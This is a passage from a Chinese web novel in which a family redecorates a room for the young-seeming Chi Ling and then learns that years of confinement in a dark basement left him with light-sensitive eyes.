“知道了。”尺平扶扶眼镜,舔舔嘴唇,很明显这工程并不算顺利。
原本房间是偏成熟简洁的客房风,墙也是偏黄色的,柜子和桌都是深色木。这种装潢,对一个看上去只有八岁,还处在天真浪漫阶段的小孩来说,并不适配。
原本还顾虑着尺绫的病马上就能治好,能变回大尺绫,但现在两个月都快过去了。如今还要上小学,就算不是小孩,也是名正言顺的小学生了。
让尺绫一直住客房不好,干脆把这个房间重新布置,直接分配给他,这下尺绫在家,就货真价实地有自己的房间了。
知道弟弟喜欢小瓢虫和小马,尺平特意定制了这种小图案的墙纸,只有两个指甲盖大小,像波点一样斜斜排列着。
书桌是实木,表漆一层米白色,很适合小朋友学写字。窗帘的款式也变了,灯也换成了柔光白。
房间的童趣值直线上升70%,成熟感直线掉成10%,唯一换不了的是柜子。尺平从凳子上下来,说要不买一个新柜子吧,这个款式太老气了。一旁的尺绫想到还藏在里面的小花盆栽存钱罐,立马张大手贴在柜子上,拦住眼镜哥哥的步子。
“不用了,不用了,这个柜子就很好。”他着急护住柜子。
尺平停顿一下,决定顺他意,虽然其中很明显有些蹊跷。
林梓洗了丈夫为尺绫买的新被套和床单,惊讶于他的别出心裁,买的图案还挺清新的,也不俗气,实在是难得。
尺绫站在一边,看着林老师替他套上新床单,是小花点点图案的,他好喜欢。
“我可以把我的小马包放上去吗?”尺绫看见自己的床变得愈发愈亲切可爱,他生出之前从未有过的归属感,这真的是他的房间了。
小花小瓢虫小马,这意味着,尺绫能够主动去布置自己的房间了。十七年,在这个名为“尺家”的房子里,尺绫终于拥有了一个自己的房间了!
林梓掩上门,让尺绫在里面享受一阵儿,自己回到房间里。
她记得丈夫之前是若有若无地提及过一嘴,说想尺绫弄个房,本来是毫无下文的,长时间不提及,以为就此了事,没想今天居然落实了。
尺平行动力是可以的,自己买好柜子,还弄了挺多奇奇怪怪的灯啊、壁纸,都没同她告知一声。
“话说,为什么一直没给尺绫安排房间,”林梓把收下来的衣服折好,“不也就是收拾一阵儿的事嘛。”
尺平眼镜下的目光敛了敛,刻意正襟危坐地整书,这个问题似乎不太好回答,好半晌才出口:
“他之前一直和我爸住在地下室。后面地下室封了,尺言把他接走,就没处理了。”
“怎么不是你和你爸一起住。”林梓多口问一句。
尺平脸色动了动,他没回答,只是一昧低头看书。
林梓知道这问题大概戳到丈夫的痛处了,但她并不算在意,于是另起一问:
“尺绫最近好像活泼了很多,挺正常一小孩,不知道以后长着长着还会是那种性子吗。”
“他本来就没什么问题。”尺平脱口而出。眼前立马浮现出尺绫以前的模样,想起以前父亲坐在地下室里的身影。
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尺绫出生即丧母,一直由父亲亲手抚养。他收起思绪,与其说是抚养,不如说“圈养”更为合适。
他抿起嘴,没再回忆下去。
自从房间换了布置后,每天早上叫尺绫起床,发现尺绫把头缩进被子的几率比以前高多了。被子本来就是平平的,尺绫也是小小的,常常会上演早晨消失术。
一次两次还好,次数一多,就成问题了。尺言进来看一眼新装潢,现场就皱眉摇摇头:
“他本来眼睛就不好,房间还弄个全白的,连窗帘都换成白的,他能愿意起床吗?”
这个房间虽然窗户不大,但每个清早都是太阳直照,新窗帘透光度高了许多,房间还变得亮堂堂的。尺绫受不了阳光刺激,自然而然把头蒙被子里睡觉。
尺言怕迟早有一天,在大清早就收获一个呼吸微弱的弟弟。他立即把窗帘换了个藏蓝色,柔和白的灯光也调暗了。
尺平被教训斥骂了,却也只能受着,现场一言不发,他确实没考虑到尺绫的眼睛问题。
看见尺言更加熟稔地安慰弟弟、收拾房间,尺平默默退下走出来,心里藏着的倒不是气,而是一阵不适。
他确实想得太少了,没人家那么面面俱到,细致入微。根本原因还是对尺绫的了解不够,自以为是了。
妻子在房间里安慰,劝他不要太放心上。两人一个的做事方式是给尺绫,一个是为尺绫,抛开好处弊处来说,尺平的方式显然更贴近兄弟的平等。
闲置半刻,林梓突然又开始问:“他眼睛的毛病什么时候开始有的,我只知道他有,不知道怎么来的,是以前弄伤过?”
当过尺绫班主任的她,知道尺绫时不时就要戴眼镜,但尺绫视力又不算差,起初她还没在意,如今变小了怎么还一样呢。
尺平缓了一会儿,回忆一下,抿抿嘴答:“出生就有了。”
林梓联想起之前,继续问:“这才跟着住地下室么?”
眼睛不好,所以要往暗的地方呆,这点倒是很合理,一切都说得通了。不然怎么会有人把小孩送到地下室居住呢。
停顿了一阵儿后,尺平侧侧头,犹豫地改口:“也不是。”
他翻一页书,看似轻淡的语调中,听得出极力压制的沉重:“应该是他住地下室后,一直没见过太阳,才眼睛不好的。”
尺绫没适应过太阳光,这才落下了眼疾,现在连稍微强烈一点的光,尺绫都会下意识瞥过头去。小孩子家家,他倒是不说,其他人看得很清楚。
听到这句话,林梓突然意识到事情的严重性。她立马蹙起眉,追问:“一直待在下面没带上来过,他在地下室住多久啊,居然能弄得这么严重。”
尺平眼前浮出回忆中,已经尘封地下室的景象。没有任何窗户,灯光是昏暗的,四面墙壁也是暗黑色。永远是云烟雾饶,堆满了覆尘的书籍,混杂着刺鼻烟味和潮湿腐肉的藏着寂静。
与地面相连的只有一条窄楼梯,只有在开门时会有斜光照入,时间之短,连苍蝇也飞不出去。
尺平抿抿嘴,答:“十二年。”